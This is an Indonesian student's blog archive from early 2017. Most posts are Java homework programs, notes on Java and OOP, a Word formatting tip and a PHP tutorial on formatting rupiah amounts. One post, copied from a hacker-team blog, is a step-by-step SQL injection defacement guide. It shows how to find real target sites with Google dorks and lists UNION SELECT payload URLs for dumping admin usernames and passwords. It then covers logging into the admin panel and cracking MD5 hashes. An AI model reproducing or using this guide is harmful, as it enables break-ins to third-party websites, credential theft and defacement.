Jumat, 17 Februari 2017

Tugas 3
1.  Buat Program untuk menghitung Harga Total suatu barang yang sudah mendapat diskon 15%, dimana jumlah barangnya dan harga perunit akan diinput oleh pengguna.

import java.util.Scanner;
public class soal2
{
public static void main (String[] args)
{
Scanner beli = new Scanner(System.in);
int hrga, jml, byr, diskn, ttl;
System.out.print("Harga Produk per Satuan : ");
hrga = beli.nextInt();
System.out.print("Jumlah Pembelian Produk : ");
jml = beli.nextInt();
byr = hrga*jml;
diskn = byr*15/100;
System.out.println("Diskon 15% : " +diskn);
ttl = byr - diskn;
System.out.println("Total Biaya Pembelian Sudah Dipotong Diskonnya Menjadi : "+ttl);
}
}

2. Buat program yang mendapat input nilai num1 sampai num10 dari pengguna dan menghasilkan output sebagai berikut :
num1 + num2 = 5
num3 - num4 = 1
num5 * num6 = 6
num7 / num8 = 1,5
num9 % num10 = 1

import java.util.Scanner; public class soal1 { public static void main(String[] args) {
Scanner input = new Scanner(System.in); int a1,a2,a3,a4,a5,a6,a7,a8,a9,a10; System.out.print("Massukan nilai1 = "); a1 = input.nextInt(); System.out.print("Massukan nilai2 = "); a2 = input.nextInt(); System.out.print("Massukan nilai3 = "); a3 = input.nextInt(); System.out.print("Massukan nilai4 = "); a4 = input.nextInt(); System.out.print("Massukan nilai5 = "); a5 = input.nextInt(); System.out.print("Massukan nilai6 = "); a6 = input.nextInt(); System.out.print("Massukan nilai7 = "); a7 = input.nextInt(); System.out.print("Massukan nilai8 = "); a8 = input.nextInt(); System.out.print("Massukan nilai9 = "); a9 = input.nextInt(); System.out.print("Massukan nilai10 = ");
a10 = input.nextInt(); int hasiltam = a1 + a2; int hasilkur = a3 - a4; int hasilkal = a5 * a6; float hasilbag = (float) a7 / a8; int hasilmod = a9% a10; System.out.println( "Hasil tambah : "+a1+ " + " +a2+ " = " +hasiltam); System.out.println( "Hasil kurang : "+a3+ " - " +a4+ " = " +hasilkur); System.out.println( "Hasil kali : "+a5+ " * " +a6+ " = " +hasilkal); System.out.println("Hasil bagi : "+ a7+ " / " +a8+ " = " +hasilbag); System.out.println( "Hasil MOD : "+a9+ " MOD " +a10+ " = " +hasilmod); } }

Tugas 2

1. Tujuan Belajar Bahasa Pemrograman (Maksudnya Tujuan Kalian Belajar Bahasa Pemrograman)
tujuan saya belajar bahasa pemrograman adalah saya ingin bisa menyelesaikan tugas kuliah saya sendiri dan setelah saya berhasil belajar dan menguasai bahasa pemrograman saya akan pergunakan sebaik mungkin untuk modal di dunia pekerjaan khususnya dunia programmer sesuai jurusan perkuliahan yang saya jalani.

2. Ilustrasikan Proses Compile Bahasa Pemrograman JAVA 
saya menginstal di folder D, membuat folder baru bernama javaulia dan membuat program sederhana di notepad dengan nama pertama.java
  • buka Command Prompt
  • ketik D: (sesuai anda menginstal dan membuat folder baru) lalu tekan enter
  • ketik CD javaulia lalu tekan enter
  • ketik javac pertama.java lalu tekan enter
  • ketik java pertama dan tekan enter.



3. Sebutkan Istilah : 
  • Objek : contoh dari suatu class. Dapat dianggap class adalah tipe datanya dan objek adalah datanya
  • State (instance variables) : variable-variable yang dideklarasikan di dalam class.
  • Identitas : berupa tanda yang mewakili nama-nama variabel, method, class, package, konstanta.

4. Tuliskan 4 Konsep Dalam OOP
  • Kelas Abstrak ( Class Abtraksi ) : kelas yang merupakan deskripsi abstrak informasi dan tingkah laku dari sekumpulan data 
  • Enkapsulasi ( Encapsulaton ) : pembungkus, pembungkus disini dimaksudkan untuk menjaga suatu proses program agar tidak dapat diakses secara sembarangan atau di intervensi oleh program lain 
  • Pewarisan ( Inheritance ) : pewarisan yang artinya sebuah class dapat mewarisi atribut dan method dari class lain 
  • Polimorfisme ( Polymorphism ) : suatu aksi yang memungkinkan pemrogram menyampaikan pesan tertentu keluar dari hirarki obyeknya, dimana obyek yang berbeda memberikan tanggapan/respon terhadap pesan yang sama sesuai dengan sifat masing-masing obyek.

5. Sebutkan Apa Itu : 
  • Variable itu satuan dasar penyimpanan dalam program Java, kalau di dunia nyata variabel dapat kita ibaratkan sebuah tempat penyimpanan yang dapat menampung suatu benda yang sesuai dengan tempat penyimpanan tersebut 
  • Statement itu bagian terkecil dalam sebuah program untuk melaksanakan suatu tugas tertentu, seperti memanggil metode, mendeklarasikan variabel, membandingkan dua buah variabel, mengassign suatu nilai ke dalam variabel, dll 
  • Tipe Data Primitif itu tipe data standar yang tidak diturunkan dari objek manapun. Java memiliki 8 tipe data primitif, yaitu:boolean,char, byte,short, int, long, float, double. 


6. Buat Program Seperti Tampilan Berikut :
Program 1 :
public class p1
{
public static void main(String[] args)
{
long data1 = 767226531;int data2 = 2235641;
short data3 = 714;
byte data4 = 34;
float data5 = (float) 1.733;//tipe data pecahan
double data6 = 4.967;// tipe data percobaan
char data7 = 'C';
boolean data8 = true;

System.out.println("nilai long : "+ data1);
System.out.println("nilai int : "+data2);
System.out.println("nilai short :"+data3);
System.out.println("nilai byte :"+data4);
System.out.println("nilai double :"+data5);
System.out.println("nilai float :"+data6);
System.out.println("nilai char :"+data7); 
System.out.println("nilai boolean :"+data8);
}
}
Program 2 :
public class p2 
{
 public static void main(String[]args) 
{
 int nilai1 = 20;
 int nilai2 = 2;

 int hasiltam = nilai1 + nilai2;
 int hasilkur = nilai1 - nilai2;
 int hasilkal = nilai1 * nilai2;
 int hasilbag = nilai1 / nilai2;

System.out.println("Hasil " +nilai1+ " + " +nilai2+ " = " +hasiltam);
System.out.println("Hasil " +nilai1+ " - " +nilai2+ " = " +hasilkur);
System.out.println("Hasil " +nilai1+ " * " +nilai2+ " = " +hasilkal);
System.out.println("Hasil " +nilai1+ " / " +nilai2+ " = " +hasilbag);
 }
}
Program 3:
public class p3
{
 public static void main(String[] args)
 {
 int nilai1 = Integer.parseInt(args[0]);
 int nilai2 = Integer.parseInt(args[1]);

 int hasiltam = nilai1 + nilai2;
 int hasilkur = nilai1 -  nilai2;
 int hasilkal = nilai1 *  nilai2;
 int hasilbag = nilai1 /  nilai2;

 System.out.println("Hasil " +nilai1+" + " +nilai2+" = " +hasiltam);
 System.out.println("Hasil " +nilai1+" - " +nilai2+" = " +hasilkur);
 System.out.println("Hasil " +nilai1+" * " +nilai2+" = " +hasilkal);
 System.out.println("Hasil " +nilai1+" / " +nilai2+" = " +hasilbag);
 }
}




Tugas 1

1. pengenalan Java
Java adalah bahasa pemrograman yang dapat dijalankan di berbagai komputer termasuk telepon genggam. Bahasa ini awalnya dibuat oleh James Gosling saat masih bergabung di Sun Microsystems saat ini merupakan bagian dari Oracle dan dirilis tahun 1995. Bahasa ini banyak mengadopsi sintaksis yang terdapat pada C dan C++ namun dengan sintaksis model objek yang lebih sederhana serta dukungan rutin-rutin aras bawah yang minimal. Aplikasi-aplikasi berbasis java umumnya dikompilasi ke dalam p-code (bytecode) dan dapat dijalankan pada berbagai Mesin Virtual Java (JVM). Java merupakan bahasa pemrograman yang bersifat umum/non-spesifik (general purpose), dan secara khusus didisain untuk memanfaatkan dependensi implementasi seminimal mungkin. Karena fungsionalitasnya yang memungkinkan aplikasi java mampu berjalan di beberapa platform sistem operasi yang berbeda, java dikenal pula dengan slogannya, "Tulis sekali, jalankan di mana pun". Saat ini java merupakan bahasa pemrograman yang paling populer digunakan, dan secara luas dimanfaatkan dalam pengembangan berbagai jenis perangkat lunak aplikasi ataupun aplikasi berbasis web.


2. kelebihan Java dari pemrograman lain

Java memiliki beberapa keunggulan yang tidak dimiliki oleh bahasa lain. Berdasarkan white paper resmi dari Sun Microsystems, Java memiliki karakteristik sebagai berikut:

1. Sederhana

Bahasa pemrograman Java menggunakan Sintaks mirip C++, namun sintaks pada Java telah banyak diperbaiki terutama menghilangkan penggunaan pointer yang rumit dan multiple inheritance. Java juga menggunakan automati memory allocation dan memory garbage collection.

2. Berorientasi objek (Object Oriented)

Java menggunakan pemrogrman berorientasi objek yang membuat program dapat dibuat secara modular dan dapat dipergunakan kembali. Pemrograman berorientasi objek memodulasi dunia nyata ke dalam objek dan melakukan interaksi antar objek-objek tersebut.

3. Dapat didistribusi dengan mudah.

Java dibuat untuk membuat aplikasi terdistribusi secara mudah dengan adanya libraries networking yang terintegrasi pada Java.

4. Interpreter

Program Java dijalankan menggunakan interpreter, yaitu Java Virtual Machine (JVM). Hal ini menyebabkan source code Java yang telah dikompilasi menjadi Java bytecodes dapat dijalankan pada platform yang berbeda-beda.

5.Robust

Java mempunyai reliabilitas yang tinggi. Compiler pada Java mempunyai kemampuan mendeteksi eror secara lebih teliti dibandingkan bahasa pemrograman lain. Java mempunyai runtime-Exception handling untuk membantu mengatasi eror pada pemrograman.

6. Aman

Sebagai bahasa pemrograman untuk aplikasi internet dan terdistribusi, Java memiliki beberapa mekanisme keamanan untuk menjaga aplikasi tidaks digunakan untuk merusak system computer yang menjalankan aplikasi tersebut.

7. Architecture Neutral.

Program Java merupakan platform Independent. Program cukup memunyai satu buah versi yang dapat dijalankan pada platform yang berbeda dengan Java Virtual Machine.

8.Portable

Source Code maupun program Java dapat dengan mudah dibawa ke platform yang berbeda-beda tanpa harus dikompilasi ulang.

9. Performance

Performance pada Java sering dikatakan kurang tinggi. Namun performance Java dapat ditingkatkan menggunakan kompilasi Java lain seperti buatan Inprise, Microsoft, ataupun Symatec yang menggunakan Just In Time Compilers (JIT).

10. Multithreaded

Java mempunyai kemampuan untuk membuat suatu program yang dapat melakukan beberapa pekerjaan secara sekaligus dan simultan.

11. Dinamis

Java didesain untuk dapat dijalankan pada lingkungan yang dinamis. Perubahan pada suatu class dengan menambahkan properties ataupun method dapat dilakukan tanpa mengganggu program yang menggunakan class tersebut.

3. Buat Program Java Sederhana


public class pertama

{

public static void main(String[] args)

{

System.out.println("NPM : 30411191");

System.out.println("Nama : Aulia Islamiati");

System.out.println("Kelas : 307");

}



}














Sabtu, 11 Februari 2017

DONESIA HACKER CYBER TEAM

1. Anda cari target web untuk di di deface menggunakan dork. Bisa anda cari disini

2. Ketikkan dork itu di kotak pencarian google, maka akan muncul banyak web di hasil pencarian. Silahkan anda buka salah satu

3. Tambahkan karakter ' pada akhir url'nya untuk mengetahui vulnerability'nya
Contoh : www.site.com/news.php?id=32'

4. Jika muncul tulisan seperti "syntax error" berarti web tersebut vuln alias bisa kita deface
Contoh errornya : warning: mysql_fetch_array(): supplied argument is not a valid MYSQL result resource in D:\inetpub\wwwroot\ajpower.net\html\news.php on line

5. Sekarang saatnya kita beraksi. Cari jumlah table yang ada pada database web tersebut dengan cara menambahkan karakter +order+by+1-- di belakang url
Contoh : www.site.com/news.php?id=32+order+by+1--

Anda coba satu persatu hingga muncul tulisan error.
Contoh : www.site.com/news.php?id=32+order+by+2--
www.site.com/news.php?id=32+order+by+3--
www.site.com/news.php?id=32+order+by+4--
Saya memisalkan jumlah table web ada 4 (errornya di 4)

6. Kemudian kita gunakan perintah union untuk mengeluarkan nomor yang nantinya kita gunakan. Tambahkan +union+select+1,2,3,4--
Contoh : www.site.com/news.php?id=32+union+select+1,2,3,4--
Saya memisalkan angka 3 yang keluar

7. Sekarang masukkan version() pada angka 3 untuk memaparkan version
Contoh : www.site.com/news.php?id=32+union+select+1,2,version(),4--

8. Kita munculkan nama - nama table yang ada pada web tersebut dengan memasukkan perintah table_name pada angka 3 dan perintah +from+information_schema.tables-- dibelakang url
Contoh : www.site.com/news.php?id=32+union+select+1,2,table_name,4+from+information_schema.tables--
Nantinya kita akan melihat nama nama table yang ada pada web

9. Kita lihat isi yang ada di dalam table tersebut dengan memasukkan perintah group_concat(table_name) pada angka 3 dan perintah +where+table_schema=database()-- di akhir url
Contoh : www.site.com/news.php?id=32+union+select+1,2,group_concat(table_name),4+from+information_schema.tables+where+table_schema=database()--

10. Selanjutnya kita keluarkan isi yang ada di table tersebut (column) dengan memasukkan perintah group_concat(column_name) pada angka 3 dan +from+information_schema.columns+where+table_name=0xHasilConvertTextTableAdmin-- di akhir url
Untuk langkah ke 10 ini silahkan anda convert terlebih dahulu text nama table'nya ke hexadecimal disini
Jadi misalkan nama table'nya tadi admin maka jika di convert akan menjadi 61646D696E
Contoh : www.site.com/news.php?id=32+union+select+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name=0x61646D696E--
Nanti akan muncul column yang berisikan username dan password

11. Lalu kita lihat isi dari column yang kita temukan. Saya misalkan nama tablenya adalah admin, dan isi dari table admin adalah column username & password. Maka masukkan perintah concat_ws(0x3a,"nama column yang ada di dalam table admin") pada angka 3 dan perintah +from+Admin-- di akhir url
Contoh :  www.site.com/news.php?id=32+union+select+1,2,concat_ws(0x3a,"username,password"),4+from+Admin--

12. Maka kita akan melihat username dan password admin dari web tersebut. Saatnya kita eksekusi.

13. Cari admin pagenya, biasanya dengan menambahkan tulisan berikut di akhir url web target.
/admin/ , /administrator/ , /webadmin/ , /adm/ , /webbase/
Contoh : www.site.com/admin/
Nah isikan username dan password yang tadi di dapat. Jika password berbentuk MD5 seperti e10adc3949ba59abbe56e057f20f883e, anda crack dulu disini
 - See more at: http://indonesiahackercyberteam.blogspot.co.id/2014/02/cara-deface-website-dengan-teknik-sql.html#sthash.1Sg7QCkL.dpuf

Selasa, 07 Februari 2017

Garis di Bawah Kop Surat (Header) pada Ms. Word 23.41  KONO ATARI  NO COMMENTS Bagi anda yang pernah membuat surat resmi pasti pernah membuat garis yang diletakkan di bawah kop (header) pada surat resmi yang anda buat. Dan dalam Ms. Word sendiri sudah disediakan fasilitas AutoShapes untuk membantu kita membuat garis, tinggal klik lalu tarik dari kiri ke kanan. Jadi dech garis yang kita inginkan. Lalu kita ubah gaya (style) garis sesuai dengan yang kita inginkan. Dalam surat resmi biasanya kita gunakan garis lurus rangkap 2 untuk memisahkan Kop (header) dengan isi surat yang kita ketik. Tapi permasalahannya sering kali dalam menarik garis lurus dari kiri ke kanan kita sering gagal, sehingga garis terlihat sama sekali tidak lurus :( . Kalau sudah begitu yang ada kita Dellete garisnya lalu coba buat yang baru (Cuapek Duech...). Dan ini paling sering terjadi pada pemula (Newbie) pengguna Ms. Word. Sebenarnya ada cara yang mudah dalam membuat garis di bawah Kop (header) surat, cukup dengan menekan/membuat 3 (tiga) tombol kunci lalu di akhiri dengan tombol Enter. Berikut adalah Tombol Kunci untuk pembuat garis : " = " (sama dengan) digunakan untuk membuat garis lurus rangkap dua. " * " (bintang) digunakan untuk membuat garis lurus putus-putus. " - " (dash) atau tanda minus digunakan untuk membuat garis lurus tipis. " _ " (underScore) digunakan untuk membuat garis lurus tebal. " ~ " (tildes) digunakan untuk membuat garis bergelombang. " # " (pagar) digunakan untuk membuat garis lurus rangkap tiga. Buang tanda petik ( " ) lalu ketikkan sebanyak tiga kali tombol kunci yang kita inginkan, lalu tekan tombol Enter. Mudah bukan... :) Selamat Mencoba. Today Deal $50 Off : https://goo.gl/efW8Ef

Jumat, 03 Februari 2017

Script PHP untuk Membuat Format Uang Rupiah Fungsi number_format(). Fungsi number_format() sangat berguna untuk banyak program website terutama web toko online, penjualan, dan sistem web lain yang membutuhkan dan menggunakan tampilkan output nominal uang terutama rupiah (Rp). Misal kita mau menampilkan format Uang Rp 9.500.000,00 tidak mungkin didalam database kita akan menggunakan tipe data varchar. Bisa saja varchar, tapi dalam perhitungan nanti misal ada pengurangan dan penambahan akan terjadi kesulitan. Jika mau kita simpan dengan tipe data Integer maka tentu juga tidak bisa karena ada komanya.



Untuk itu kita menggunakan perintah number_format() untuk menampilkan data format uang sesuai format Rp 9.500.000,00



Format & Penjelasan Scriptnya adalah sebagai berikut:

number_format($angka, $jumlah_desimal, $pemisah_desimal, $pemisah_ribuan)

$angka : angka yang ingin kita tampilkan untuk di manipulasi

$jumlah_desimal : jumlah angka dibelakang koma (jumlah angka di belakang nilai uang)

$pemisah_desimal : untuk pemisah angka dengan pecahan desimal atau sen dibelakang angka

$pemisah_ribuan : untuk pemisah untuk angka dalam satuan ribuan



Untuk jelasnya contoh penggunaan Script PHPnya dibawah ini:



Contoh 1 : Menampilkan 2 angka desimal di belakang nominal uang, pemisah desimal tanda koma (,), ribuan titik (.)

[php]<?php
$angka = "9500000";
$jumlah_desimal ="2";
$pemisah_desimal =",";
$pemisah_ribuan =".";

echo "Rp ".number_format($angka, $jumlah_desimal, $pemisah_desimal, $pemisah_ribuan);
//hasil : Rp 9.500.000,00

?>[/php]



Contoh 2 : Menampilkan 2 angka desimal di belakang nominal uang, pemisah desimal tanda titik (.), ribuan koma (,)

[php]<?php
$angka = "9500000";
$jumlah_desimal ="2";
$pemisah_desimal =".";
$pemisah_ribuan =",";

echo "Rp ".number_format($angka, $jumlah_desimal, $pemisah_desimal, $pemisah_ribuan);
//hasil : Rp 9,500,000.00

?>[/php]



Contoh 3 : Menampilkan tanda (-) di belakang nominal uang, pemisah desimal tanda koma (,), ribuan titik (.)

[php]<?php
$angka = "9500000";
$jumlah_desimal ="0";
$pemisah_desimal =",";
$pemisah_ribuan =".";

echo "Rp ".number_format($angka, $jumlah_desimal, $pemisah_desimal, $pemisah_ribuan)."-";
//hasil : Rp 9.500.000,-

?>[/php]



Contoh 4 : Tidak Menampilkan angka desimal di belakang nominal uang

[php]<?php
$angka = "9500000";
$jumlah_desimal ="0";
$pemisah_desimal =",";
$pemisah_ribuan =".";

echo "Rp ".number_format($angka, $jumlah_desimal, $pemisah_desimal, $pemisah_ribuan);
//hasil : Rp 9.500.000

?>[/php]